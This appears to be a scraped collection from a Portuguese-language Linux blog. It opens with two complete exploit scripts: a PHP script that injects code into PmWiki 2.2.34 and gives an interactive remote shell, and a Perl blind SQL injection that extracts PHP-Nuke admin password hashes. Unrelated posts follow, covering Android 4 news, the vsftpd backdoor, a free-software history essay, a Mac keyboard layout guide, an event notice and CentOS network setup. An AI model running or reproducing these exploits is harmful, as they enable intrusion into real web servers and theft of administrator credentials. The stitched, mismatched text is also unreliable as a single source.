PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........:
    affected versions....: from 2.0.0 to 2.2.34
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    452.      $code = '';
    453.      foreach($opt['=order'] as $o => $r) {
    454.        if (@$PageListSortCmp[$o])
    455.          $code .= "$c = {$PageListSortCmp[$o]}; ";
    456.        else
    457.          $code .= "$c = @strcasecmp($PCache[$x]['$o'],$PCache[$y]['$o']); ";
    458.        $code .= "if ($c) return $r$c;n";
    459.      }
    460.      StopWatch('PageListSort sort');
    461.      if ($code)
    462.        uasort($list,
    463.               create_function('$x,$y', "global $PCache; $code return 0;"));
    464.      StopWatch('PageListSort end');
    Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
    [-] Disclosure timeline:
    [09/11/2011] - Vulnerability discovered
    [11/11/2011] - Issue reported to
    [11/11/2011] - Version 2.2.35 released:
    [12/11/2011] - CVE number requested
    [15/11/2011] - Assigned CVE-2011-4453
    [23/11/2011] - Public disclosure
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
    if (!($sock = fsockopen($host, 80)))
        die("n[-] No response from {$host}:80n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
print "n+------------------------------------------------------------+";
print "n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";
print "n+------------------------------------------------------------+n";
if ($argc < 3)
    print "nUsage......: php $argv[0] <host> <path>n";
    print "nExample....: php $argv[0] localhost /";
    print "nExample....: php $argv[0] localhost /pmwiki/n";
$host = $argv[1];
$path = $argv[2];
$phpcode = "']);error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD]));print(___);die;#";
$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";
$packet  = "POST {$path}pmwiki.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Connection: closernrn{$payload}";
if (!preg_match("/Location/", http_send($host, $packet))) die("n[-] Edit password required?!n");
$packet  = "POST {$path}pmwiki.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Cmd: %srn";
$packet .= "Content-Length: 11rn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Connection: closernrnn=Cmd.Shell";
    print "npmwiki-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/nrn(.*)___/s", $response, $m) ? print $m[1] : die("n[-] Exploit failed!n");







# [0-Day] PHP-Nuke <= (Downloads) Remote Blind SQL Injection
# Date: 2010.07.04 after 50 days the bug was discovered.
# Author/s: Dante90, WaRWolFz Crew
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770,
#               Shades Master, V1R5, yeat
# Special Greetings To: The:Paradox
# Greetings To: Shotokan-The Hacker, _mRkZ_, h473
# Web Site:
# My Wagend (Dante90):
# ----
# Why have I decided to publish this?
# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published
# my own exploit, with their names.
# ----
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use Time::HiRes;
my $Victime  = shift or &usage;
my $Hash = "";
my ($Referer,$Time,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $HostName = ""; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
            default_headers => HTTP::Headers->new,
        ) or die $!;
my $WaRWolFz = "";
my $DefaultTime = request($WaRWolFz);
my $Post;
sub Blind_SQL_Jnjection {
    my ($dec,$hex,$Victime) = @_;
    return "' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}";
for(my $I=1; $I<=32; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime);
        $Time = request($Post);
        refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
        if ($Time > 4) {
            $Time = request($Post);
            refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
            if ($Time > 4) {
                $Hash .= chr($chars[$J]);
                $Time = request($Post);
                refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
    if($I == 1 && length $Hash < 1 && !$Hash){
        print " * Exploit Failed                                       *n";
        print " -------------------------------------------------------- n";
    if($I == 32){
        print " * Exploit Successfully Executed                        *n";
        print " -------------------------------------------------------- n";
sub request{
    $Post = $_[0];
    $Start = Time::HiRes::time();
    my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', {
                    title => "Dante90",
                    url => $Post,
                    description => "WaRWolFz Crew",
                    auth_name => "Dante90",
                    email => "",
                    filesize => "1024",
                    version => "1",
                    homepage => "",
                    d_op => "Add"
                Referer => $HostName.'modules.php?name=Downloads&d_op=Add');
    $Response->is_success() or die "$HostName : ", $Response->message, "n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
sub usage {
        print " n [0-Day] PHP-Nuke <= (Downloads) Remote Blind SQL Injection Exploitn";
        print " -------------------------------------------------------- n";
        print " * USAGE:                                               *n";
        print " * cd [Local Disk]:\[Directory Of Exploit]\             *n";
        print " * perl [victime]                       *n";
        print " -------------------------------------------------------- n";
        print " *          Powered By Dante90, WaRWolFz Crew           *n";
        print " * - dante90_founder[at]  *n";
        print " ------------------------------------------------------- n";
sub refresh {
        print " n [0-Day] PHP-Nuke <= (Downloads) Remote Blind SQL Injection Exploitn";
        print " -------------------------------------------------------- n";
        print " * USAGE:                                               *n";
        print " * cd [Local Disk]:\[Directory Of Exploit]\             *n";
        print " * perl [victime]                       *n";
        print " -------------------------------------------------------- n";
        print " *          Powered By Dante90, WaRWolFz Crew           *n";
        print " * - dante90_founder[at]  *n";
        print " ------------------------------------------------------- n";
    print " * Victime Site: " . $_[0] . "n";
    print " * Default Time: " . $_[1] . " secondsn";
    print " * BruteForcing Hash: " . chr($_[2]) . "n";
    print " * BruteForcing N Char Hash: " . $_[5] . "n";
    print " * SQL Time: " . $_[4] . " secondsn";
    print " * Hash: " . $_[3] . "n";

#WaRWolFz Crew



Código Fonte do Android 4 será liberado antes do fim do ano


Bem, temos percebido que muitos leitores já estão buscando no Google o termo instalando android 4 no milestone 2 ou coisa do tipo (mudando somente o smartphone), só que, não é correto correr atrás dessas instalações agora, pois o Google Android 4 ainda nem foi liberado (source) aos desenvolvedores. Segundo noticiado (pelo Notícias Linux e H-Online) brevemente veremos o código fonte disponível. Há poucos dias falamos sobre especulações de que hardware conseguirá rodar o android 4 (requerimentos mínimos para rodar android 4). Esperamos que os geeks do MIUI e CyanogenMod toquem no fonte e façam algum milagre para dar mais vida ainda aos nossos smartphones. (como já têm feito)


Vsftpd Comprometido por Backdoor no Código-Fonte


Chris Evans, conhecido como Scary Beasts, confirmou que a versão 2.3.4 do código-fonte para download do vsftpd foi comprometida e um backdoor adicionado ao código. Evans, responsável pelo vsftpd – o que é descrito em seu site como “provavelmente o servidor FTP mais seguro e mais rápido para sistemas Unix-like”, foi alertado no domingo para o fato de que um tarball nefasto tinha sido baixado do site mestre do vsftpd com uma assinatura GPG inválida. Não se sabe quanto tempo o código malicioso estaria online.

O referido tarball incluiu uma backdoor no código que iria responder a um usuário o login com um nome de usuário ““, através da porta 6200 para uma conexão e lançamento de um shell quando alguém se conecta.

Evans agora mudou o código fonte e site para O código-fonte licenciado sob GPL, pode ser baixado ( download direto ) a partir do mesmo local, juntamente com a assinatura GPG para validar o download, um passo importante que o próprio Evans recomenda.


Una-se a Revolução (de Pablo Lorenzzoni)


Una-se à Revolução

Pablo Lorenzzoni

Desde que os softwares livres e abertos apareceram, muita coisa tem acontecido. Novas escolhas vêm sendo feitas, tanto pela indústria do software, que agora pode optar por modelos alternativos de desenvolvimento, quanto pelo usuário, para quem um novo (e aberto) mundo é apresentado. Mas e o usuário não técnico? Sim… aquele que comprou o computador pronto na loja e nem sabia que o Windows não era necessário. Aquele que, quando enfrentava um erro que acabava travando o computador, exclamava “Maldito computador” ao invés de “Maldito Windows”. Foi pensando nesse usuário que esse documento foi escrito: apresentar-lhe essa revolução para que, de expectador atônito, ele passem a agente da sua própria revolução pessoal. Vamos lá….

1. Pré-História da Revolução

Nos anos 60 e 70, em meio à revolução hippie, a pré-história da revolução atual começou. Quase paralelamente se desenvolveram o que hoje conhecemos como cultura hacker, Unix e linguagem de programação C.

O hacker é, fundamentalmente, um especialista, um solucionador de problemas. Seus primeiros representantes, provavelmente, foram os estudantes do MIT, que, com apenas o horário noturno para estudar os circuitos eletrônicos dos primeiros computadores, passavam a noite descobrindo cada esquina e cada curva na intrincada arquitetura daquelas máquinas.

Hoje existem várias definições para hacker e para cultura hacker, mas a idéia principal é a de que existe uma comunidade, uma cultura compartilhada de programadores experts e magos da conectividade cujo passado histórico começa há décadas, com os primeiros computadores compartilhados e as primeiras experiências com a ARPAnet (a precursora da Internet). Os membros dessa cultura (os hackers) construíram a Internet. Os hackers fizeram do Unix o sistema operacional que ele é hoje. Os hackers construíram a Usenet. Os hackers fizeram a World Wide Web funcionar. Esqueça o que a mídia tem publicado a respeito deles. É lógico que, com tanto conhecimento e sendo composto por indivíduos tão heterogêneos, alguns usariam esses conhecimentos para invadir computadores de bancos, roubar dinheiro, bisbilhotar no computador dos outros. Mas chamar Ken Thompson, Dennis Ritche, Linus Torvalds, Richard Stallman, Eric Raymond e Alan Cox de criminosos é, no mínimo, leviano. A verdade é que a maioria dos hackers está interessado em resolver os próprios problemas e contribuir para a comunidade com a solução que encontrou.

O Unix é o produto da mente de um hacker da Bell Labs: Ken Thompson. Seu precursor foi o Multics, um sistema operacional de tempo compartilhado. O Multics foi a base de testes para a idéia de Thompson de que a complexidade do sistema operacional pudesse ser ocultado do usuário e da maioria dos programadores de modo que as operações fossem transparentes. A idéia era construir um sistema mais simples para que mais trabalho real fosse feito. O Multics acabou morrendo, mas Thompson continuou a desenvolver suas idéias em outra base de hardware, no que, mais tarde, acabou sendo conhecido por Unix.

Um outro hacker conhecido como Dennis Ritche inventou uma nova linguagem chamada “C” para ser utilizada no Unix de Thompson. O nome “C” deve-se ao fato de Ritche ter baseado seu trabalho na linguagem conhecida por BCPL (ainda em uso em alguns lugares da Europa). Sua primeira (e infrutífera) reimplementação recebeu o nome de “B”, logo, parecia lógico que a segunda reimplementação fosse denominada “C”.

A grande sacada da associação de Thompson e Ritche era a portabilidade. Acreditando que um sistema operacional completo pudesse ser desenvolvido em C (uma linguagem de médio nível), ao invés de Assembly (uma linguagem de baixo nível), o Unix foi escrito em C e portado para inúmeras arquiteturas, apresentando a mesma “cara” seja qual for o computador utilizado. O próprio nome Unix reflete isso numa das primeiras ironias da computação aberta: Unix – único versus Multics – múltiplo.

Além da portabilidade, tanto Unix como C tinham outras importantes características. Ambos foram construídos com a filosofia do mais simples (conhecido, em inglês, como KISS – Keep It Simple, Stupid), de forma que um programador poderia facilmente conhecer toda a estrutura lógica do C de cabeça, sem precisar recorrer aos pesados manuais de antigamente. O Unix, por sua vez, foi estruturado em pequenos blocos com funções simples que se combinavam para aumentar a complexidade das operações. Nem mesmo os próprios programadores desses blocos seriam capazes de prever a multiplicidade de maneiras como eles são utilizados em conjunto.

Estava formado o caldo inicial no qual se desenvolveria a grande revolução que presenciamos hoje.

2. A Revolução Começa

Em 1984, outro hacker saído do MIT, tornou-se pai de uma filosofia que, sustentada por uma forte base na comunidade hacker, no Unix e na linguagem C, acabou por começar uma revolução digital. Seu nome é Richard M. Stallman (ou RMS, como ele mesmo prefere).

A filosofia do software livre se baseia em uma definição de liberdade. Por causa da ambigüidade em inglês da palavra “free”, tornou-se necessário esclarecer que Free Software não se refere a preços, mas à liberdade dos usuários de executar, copiar, distribuir, estudar, modificar e melhorar o software. Mais precisamente, refere-se à quatro tipos de liberdades:

  1. A liberdade de executar programas para qualquer propósito.
  2. A liberdade de estudar como o programa funciona e adaptá-lo às suas necessidades (o acesso ao código fonte é essencial para isso).
  3. A liberdade para redistribuir cópias do programa de modo que seu vizinho se beneficie.
  4. A liberdade de melhorar o programa e distribuir o seu aperfeiçoamento para o público, de modo que toda a comunidade se beneficie (novamente o código fonte é necessário)

Em torno dessa filosofia, a Fundação do Software Livre (Free Software Foundation – FSF) foi criada para fomentar projetos com a mesma filosofia. O primeiro projeto da FSF foi o projeto GNU, inaugurando uma longa série de acrônimos irônicos para denominar projetos de software livre (GNU é um acrônimo recursivo que significa “GNU’s Not Unix”).

Mas além de um acrônimo curioso, o objetivo do projeto GNU era (e ainda é) criar um sistema operacional completo que seja compatível com o Unix, mas desvinculado da imagem comercial que o Unix adquiriu ao longo de sua história. Atualmente o projeto GNU é o responsável por quase todas as ferramentas que tornaram um Unix livre possível. No entanto, o grande objetivo de criar um kernel (núcleo do sistema) ainda não atingiu o mesmo nível que as outras aplicações.

Talvez a maior contribuição que RMS tenha feito não seja no campo do software, mas no campo legal. Através da FSF, RMS desenvolveu ao longo dos anos as famosas licenças de copyleft (mais uma ironia, contrapondo-se à copyright). Essas licenças (fortemente baseadas no direito autoral) deram instrumentos legais para que os hackers pudessem liberar seus trabalhos para o público sem medo que seu código fosse roubado por alguma grande empresa e, ao mesmo tempo, assegurando que ele ficaria livre para sempre.

Basicamente, ao utilizar uma das licenças redigidas e legalmente sustentadas pela FSF em um de seus programas (como a GPL – General Public License – por exemplo), o programador assegura que seu código permanecerá livre pois toda e qualquer modificação nele somente poderá ser liberado se for feito pela mesma licença. Mais tarde, se o programador original decidir fechar o programa [1] quase certamente, alguém continuará mantendo o programa livre por dividir o desenvolvimento começando por uma versão livre anteriormente licenciada [2] .

Pense nas licenças da FSF como uma carta de alforria do software. É como se o software dissesse ao seu programador: “Sim… você me criou, mas tem a obrigação de dizer a todos como fez. Não… não adianta me prender. Se você fizer isso outra pessoa virá me soltar e você não terá nenhum controle sobre mim”.

3. De Helsinki, a peça que faltava

O projeto GNU vinha muito bem, provendo os hackers do mundo inteiro com milhares de linhas de código em C para suas ferramentas compatíveis com o Unix, e com o famoso compilador GCC, que impulsionava centenas de projetos livres em todo o mundo. Mas faltava uma peça, e não qualquer peça, faltava o kernel. O kernel de um sistema operacional é o núcleo do sistema. É completamente invisível para o usuário, mas é o responsável por traduzir as chamadas de sistema dos programas para a linguagem do computador e vice-versa.

O projeto do kernel GNU (conhecido por HURD) estava, lentamente, se desenvolvendo. Não estava, de forma alguma, acompanhando o desenvolvimento do restante do sistema. Como o que se precisava era de algo completamente novo, a maioria dos programadores envolvidos estavam pisando em um terreno desconhecido. Logicamente, o desenvolvimento teria de andar devagar.

A grande virada começou a ocorrer em 1991, quando um hacker de Helsinki conhecido por Linus Torvalds começou um projeto pessoal para desenvolver um kernel de sistema operacional. Todo o trabalho era feito amadoristicamente, como um projeto pessoal típico de um hacker motivado. Mas, a comunidade hacker, que já havia esperado pacientemente o Kernel do projeto GNU aparecer, começou a colaborar intensivamente para o projeto daquele hacker de Helsinki. Esse kernel passou a ser a peça que faltava para o desenvolvimento de um sistema operacional livre quando Linus licenciou seu projeto sob a GPL, chamando-o de Linux.

Em pouco tempo, o Linux tornou-se um dos maiores projetos colaborativos do mundo. Centenas de hackers em todo o mundo começaram a enviar colaborações e aperfeiçoamentos. O Linux começou a integrar o que passou a ser conhecido por sistema GNU/Linux, ou seja, o kernel Linux com as ferramentas GNU (freqüentemente tratado simplesmente por Linux). Logo surgiu o conceito de distribuições, que juntavam um sistema GNU/Linux a um monte de outros softwares livres e eram distribuídas de uma maneira fácil de instalar.

Com a evolução das distribuições, a integração de ambientes gráficos e de pacotes de programas integrados de desktop, o GNU/Linux chegou ao ponto em que qualquer usuário levemente motivado consegue instalar e executar uma de suas variantes. Ou seja, passou de um sistema operacional exclusivo dos hackers para um sistema operacional de usuário final. Vários benefícios são o subproduto dessa passagem: o usuário final acaba com um ambiente estável, confiável, de alta velocidade em que todas as tarefas que antes custavam vários dólares para ser executadas, hoje custam nada além de um pouco de motivação.

4. BSD – O Unix Acadêmico

Dando uma pausa na evolução do GNU/Linux, nenhuma introdução estaria completa sem a menção (e somente uma menção) do BSD. Surgido como um forking dos sistemas Unix originais da AT&T, o BSD (ou, em inglês, Berkeley System Distribution) começou a ser desenvolvido com um modelo diferente do GNU: o modelo universitário baseado na licença BSD.

Uma Universidade (no caso Berkeley) necessitava de fundos para empreender suas pesquisas, e nenhuma empresa estaria interessada a custear o desenvolvimento de um sistema que não pudesse ser aproveitado comercialmente (isso era o que se pensava do Software Livre, o que a história acabou provando ser um equívoco). Então o desenvolvimento do BSD tomou rumos diferentes do que o Linux, ao utilizar uma licença que permitia o fechamento do código (ao contrário da GPL).

O BSD (e seus forks: FreeBSD, OpenBSD e NetBSD) começaram a integrar uma forte base de servidores que, até hoje, acredita-se serem melhores que o GNU/Linux em várias tarefas.

Nesse momento é prudente me abster de continuar com a história do BSD para evitar a parcialidade. Aos que quiserem maiores informações, um bom ponto de início são as páginas dos forks que eu já mencionei.

5. Distribuições GNU/Linux

Bem… chegamos ao momento histórico em que o GNU/Linux começa a ser distribuído em grandes pacotes com vários programas abertos. É instalando uma dessas distribuições que o usuário comum deve entrar nessa Revolução.

Não vou analisar cada uma das distribuições. Existem várias análises e os sites de notícias do Linux publicam análises periodicamente. Vou limitar-me a comentar brevemente cada uma das que eu considero as 4 maiores distribuições no Brasil. O comentário breve é necessário para manter a imparciabilidade, já que sou desenvolvedor de uma delas.

5.1. O Slackware – A primeira grande distribuição

O Slackware foi a primeira distribuição do Linux a se disseminar. Ela começou com Patrick Volkerding no final de 1992, que foi introduzido ao GNU/Linux quando precisava de um interpretador LISP barato para um projeto. Naquela época existiam poucas distribuições e Patrick escolheu o Soft Landing Systems (SLS Linux).

Contudo, a SLS tinha alguns problemas e Patrick decidiu consertá-los. Eventualmente isso acabou se tornando uma distribuição diferente, que, ganhou popularidade rapidamente e ficou conhecida como Slackware.

Ao longo do caminho, Patrick acrescentou alguns aperfeiçoamentos que tornavam sua distribuição mais amigável e introduziam o conceito de gerenciamento de pacotes. Hoje o Slackware tem uma legião de fãs incondicionais que fazem dela uma grande distribuição.

5.2. O RedHat – o mais utilizado sistema de pacotes

A distribuição do chapéu vermelho foi a responsável pela introdução do formato rpm de pacotes (Redhat Package Management), hoje adotado pela LSB (Linux Standard Base) como padrão.

O formato de pacotes e uma instalação amigável fizeram do RedHat a distribuição com o maior número de usuários dentre todas. Os membros da empresa são hackers comprometidos com o software livre e o CTO (Mike Tienemann) é conhecido por suas incisivas críticas ao monopólio da Microsoft.

Além disso, a RedHat é uma empresa comprometida com a comunidade que desenvolve o Linux. Alan Cox, um dos mais reconhecidos integradores do kernel (chegando a liberar até 3-4 versões de aprimoramento por dia) é seu empregado.

Recentemente, em uma decisão muito controversa, a RedHat parou de fornecer suporte para a edição desktop de sua distribuição, transferindo a responsabilidade pelo desenvolvimento deste ramo à comunidade, começando o que é conhecido como Projeto Fedora.

5.3. A Conectiva – o correspondente tupiniquim da RedHat

Inicialmente baseado no RedHat, a distribuição da Conectiva é a alternativa brasileira às grandes distribuições. A empresa tem um bom time de hackers cuidando do desenvolvimento não só da distribuição como do kernel do Linux e de vários projetos de software livre. Um deles, Marcelo Tosatti, ficou famoso recentemente por ter sido escolhido por Alan Cox e Linus Torvalds para ser o responsável pela série 2.4.x do kernel. Hoje Marcelo trabalha para a Cyclades.

Recentemente a Conectiva passou a integrar um joint de distribuições GNU/Linux conhecido por UnitedLinux, que reune a SuSE, a SCO e a TurboLinux.

A instalação é amigável, apesar de nem sempre dar certo, e o fato de prover suporte (pago, é claro) em português ajuda muito. Mas a distribuição da Conectiva tem a fama de ser substituída tão logo o usuário aprenda mais sobre o Linux.

5.4. O Debian – de volta às raízes

O Projeto Debian começou em 1993 com o objetivo de gerar um sistema operacional universal com o mesmo sistema de desenvolvimento aberto do Linux e do Software Livre. O Debian não é uma empresa. É uma organização internacional sem fins lucrativos, mantido pelo idealismo de mais de 900 desenvolvedores.

As principais diferenças com relação as outras distribuições são com relação à portabilidade e à qualidade.

O Debian está, atualmente, disponível em 11 arquiteturas que variam desde o i386 ao PowerPC. Além disso, por ser independente do kernel, está sendo portado para trabalhar com o kernel do projeto GNU (conhecido por HURD), com o kernel BSD e com clusters beowulf.

O sistema de pacotes do Debian é, sem dúvidas, o mais completo e amigável sistema de pacotes dentre as grandes distribuições, sendo, inclusive, parcialmente adotado pela Conectiva a partir da sua versão 6.0. Mas o mais importante a ser notado quanto aos pacotes do Debian é que eles são feitos por desenvolvedores comprometidos em criar o melhor. Somente desenvolvedores aprovados no sistema de seleção do Debian para integrar o time é que podem desenvolver pacotes Debian oficiais. Isso é uma grande diferença quando comparado ao sistema de distribuição dos pacotes rpm.

6. O Software Aberto – A contribuição da novageração

A frente do jovem movimento do software aberto, a Iniciativa do Código Aberto (OSI – Open Source Initiative) é uma organização cuja única finalidade é arrebanhar suporte para o Software Aberto. Isto é o software que é compatível com a definição de Software Aberto provida pela própria OSI (que, por sua vez, é baseada na definição do Debian). Nenhuma licença é oferecida, ao contrário da FSF, mas várias licenças são certificadas para garantir que o projeto que seja licenciado sob ela tenha as mesmas características fundamentais do Software Aberto. A própria GPL é certificada pela OSI.

A idéia por trás da OSI é conseguir com que mais empresas apóiem o Software Aberto por permitir que elas escrevam programas sob a sua própria licença, desde que essas sejam certificadas pela OSI. Muitas empresas querem liberar o código fonte de seus aplicativos, mas não querem usar a GPL, ou por não poderem fazer isso por questões administrativas, ou por desejarem manter o controle sobre o licenciamento do seu software. Para essas a OSI oferece sua certificação.

Enquanto a FSF e a OSI trabalham para ajudar umas às outras, elas não são a mesma coisa. A FSF suporta o uso de suas licenças e somente delas. A OSI não tem licenças próprias, mas certifica as existentes dentro de seus próprios parâmetros de Software Aberto. Pode aparentar que existam duas correntes ideológicas: o Software Livre (da FSF) e o Software Aberto (da OSI), mas o fato é que grupos diferentes estão trabalhando em direção aos mesmos objetivos, cada qual aumentando a credibilidade do outro.

A FSF, portanto, é o braço político ideológico do movimento, pregando que todo o software deve ser livre e oferecendo a GPL como exemplo de licença. A OSI, por outro lado, é o braço conciliador, garantindo que empresas com o modelo comercial de desenvolvimento possam entrar no movimento sem necessariamente adotar as licenças da FSF. Eventualmente todo o software será livre, de acordo com a ideologia da FSF. Mas para as empresas que não querem mudar o modelo comercial utilizado, a OSI oferece uma alternativa intermediária.

7. Conclusão

Bem… acredito que isso conclui nosso breve tour pela história dessa revolução que há apenas poucos anos começou e que ainda está longe de terminar. Espero que os links que eu citei acima sejam úteis para alguma coisa.

Para você, usuário não técnico, espero que este documento tenha tido algum valor. Como instalar uma ou outra distribuição, como fazer para funcionar a impressora ou o modem, ou como conectar-se a internet, existem vários documentos que ensinam. Mas um que conte como tudo começou…. isso estava faltando. Espero que este documento tenha suprido essa falta.

Agora é só começar. Escolha uma distribuição, assine algumas listas de discussão, leia os manuais e conte com a comunidade para ajudar nas suas dúvidas. Mãos a obra.


[1] Como detentor do direito autoral, o autor do trabalho licenceado sob a GPL, por exemplo, pode mudar a licença. Mas fica legalmente impedido de incluir o código que recebeu como contribuição de outros autores licenceados sob a mesma licença. Na prática, isso acaba por assegurar que o código fique sob a licença livre
[2] Num processo conhecido por “forking”. O forking é uma das maiores forças do software livre, no entanto é atacado constantemente por empresas que estão começando a perder o monopólio para esse novo paradigma.

Teclado ABNT2 on Mac OS X | Hackintosh Snow Leopad


Olá galera tudo na paz?

Hoje venho mostrar a vocês que estão tendo dificuldades com teclado ABNT2 em seu Mac/Hackintosh rodando Mac OS X Snow Leopard. Existem por ai MUITOS métodos dizendo fazer funcionar perfeitamente Teclado ABNT2 mas, sua grande maioria são layouts falhos… onde algumas teclas ficam sem funcionar ou adquirem funçoes diferente do que as que realmente têm… Após bastante tempo usando um teclado Apple ( layout Inglês Internacional) tanto em meus Hackintosh quanto no MacBook, não sentia necessidade de postar uma solução para ABNT2 aqui no blog… Só que com a vinda de MR. Little_Oak para nosso mundo Mac OS X, foi necessário pesquisar uma maneira de deixar a coisa bem funcional… pesquisei MUITO e pra falar a verdade quando estava quase desistindo encontrei uma solução, posso dizer que esse rapaz/menino/homem que fez isso é o CARA…. eu inclusive tentei por várias vezes editar alguns layouts existentes, mas sem sucesso… falatavam teclas e outros probleminhas…. mas vamos ao que interessa.

Siga as instruções abaixo e em menos de 15 minutos terá o seu querido teclado em ABNT2 funcionando corretamente

EDIT: Pessoal caso queiram(até indico) podem continuar seguinto esse how-to para que cheguem ao fim com teclado ABNT2 funcionando plenamente… há um artigo mais recente no blog em que publico um .PKG (instalador no Mac OS X) que faz todo o trabalho que ensino a fazer manualmente aqui, ele faz automáticamente… aconselho a leitura para fins de conhecer melhor o sistema Mac OS, mas aconselho tbm a leitura do artigo onde como disse acima publico um .PKG desenvolvido por mim para facilitar a vida dos Mac Users e Hackntoshers de plantão…

1.    Baixe e abra o arquivo compactado.Aqui
2.    Na pasta em que o arquivo foi descompactado, localize o arquivo Brazilian ABNT2.bundle.


3.    Copie este arquivo para a pasta ~/Library/Keyboard Layouts (para que o layout fique disponível apenas para o seu usuário) OU /Library/Keyboard Layouts/ (para que o layout fique disponível para todos os usuários).


4.    Será necessário fazer Logout (Finalizar Sessão) e entre novamente no sistema para que o layout seja carregado.


5.    Vá em Preferências do Sistema (System Preferences)

6.     Vá em Idioma & Texto (Language & Text). No guia Input Sources (Fonte de entrada/Layouts de Teclado)


7.    Procure/Selecione Brasileiro ABNT2 (Brazilian ABNT2).


8.    Após marcar ficará disponível no painel superior a opção Brasileiro ABNT2 (Brazilian ABNT2)


9.    Marque o layout desejado (Brazilian ABNT2) .



Pronto, agora você pode usar o teclado normalmente.(diga-se #alegria)

Mapeamento das Teclas
Teclas mapeadas de acordo com o layout mostrado na Wikipedia:


‘  1  2  3  4  5  6  7  8  9  0  –  =
q  w  e  r  t  y  u  i  o  p  á  [
a  s  d  f  g  h  j  k  l  ç  ã  ]
  z  x  c  v  b  n  m  ,  .  ;  /


”  !  @  #  $  %  ä  &  *  (  )  _  +
Q  W  E  R  T  Y  U  I  O  P  À  {
A  S  D  F  G  H  J  K  L  Ç    }
|  Z  X  C  V  B  N  M  <  >  :  ?


¬  ¹  ²  ³  £  ¢  ¬  {  [  ]  }    §
/  ?  €  ®  ŧ  ←  ↓  →  ø  þ  ´  ª
æ  ß  ð  đ  ŋ  ħ     ĸ  ł  á  ~  º
º  «  »  ©  “  ”     µ  ─  ·  ạ  °

AltGr + Shift

¬  ¡  ½  ¾  ¼  ⅜  ¨  ⅞  ™  ±  °  ¿  ą
/  ?  €  ®  Ŧ  ¥  ↑  ı  Ø  Þ  `  ā
Æ  §  Р ª  Ŋ  Ħ     &  Ł  ő  ^  º
ă    ©  `  ‘     µ  ×  ÷  ȧ  ¿

Pessoal posso garantir a vocês que esse é o melhor Layout para Teclado ABNT2 que existe na WEB, esse muleque merece/merecia o prêmio Nobel.A maioria da soluções usadas antes de chegar a essa eu ficava sem ? (interrogação) e as teclas | e (pipe e contra-barra) ficavam invertidas com ” e (aspas duplas e aspas simples) . Eu particurlarmente gosto muito do layout Inglês Internacional, mas há pessoas que não se adaptam ou não gostam de tal, esse how-to espero que sirva de referência para uma melhor esperiência para novos usuários do sistema operacional Mac OS X Snow Leopard (10.6.X).

Abraço a todos. 😀


Primeiro Festival de Software Livre de BH


Boa tarde Galera, para quem curte eventos sobre Software Livre e Open Source chegou a hora de participar de um evento bacana que está vindo por aí, e o melhor, 100% gratuito.
Dia: No dia 26 de Setembro

Av. Augusto de Lima, 2061 – Barro Preto
Belo Horizonte/MG – CEP: 30.190-002
Referência: Av. Augusto de Lima (Prédio Azul na Esquina), entrada pela Rua Uberaba, ao lado do Instituto São Rafael.

Para quem está tentando fazer sua inscrição e não conseguiu, ou se deseja inscrever-se basta acessar o link abaixo:

how to configure network on red hat Configurando interfaces de rede manualmente no Centos Fedora ou Red Hat


Boa noite,

Estou usando o CentOs 5.3 (na realidade era o 5.1 e o maravilhoso yum fez a upgrade tranquilamente) e necessitei configurar a interface de rede manualmente.
Supondo que sua interface seja a eth0 (a primeira) você deve acessar seu arquivo assim:

vim /etc/sysconfig/network-scripts/ifcfg-eth0

O vim não é obrigação, entretanto gosto dele.

Observe a sintaxe abaixo:


Fazendo isto (tornando sua sintaxe semelhante) você estará:

colocando o ip da interface estaticamente como sendo e dizendo que isto será feito no momento do boot do sistema.

Em seguida entre aqui:

vim /etc/sysconfig/network


Aqui definimos a rede como sendo o hostname libphp1 e o gateway

Após isto somente faça isto:

/etc/init.d/network restart

Depois podemos até setar um dns para acesso a web:

vim /etc/resolv.conf

Dentro dele eu coloquei assim:


Este é o modo simples de definir o dns da velox.

Abração e tenham uma semana excelente e abençoada por Deus.

Como fazer Upgrade do Debian Etch para o Debian Lenny – How to upgrade Debian Etch to Debian Lenny


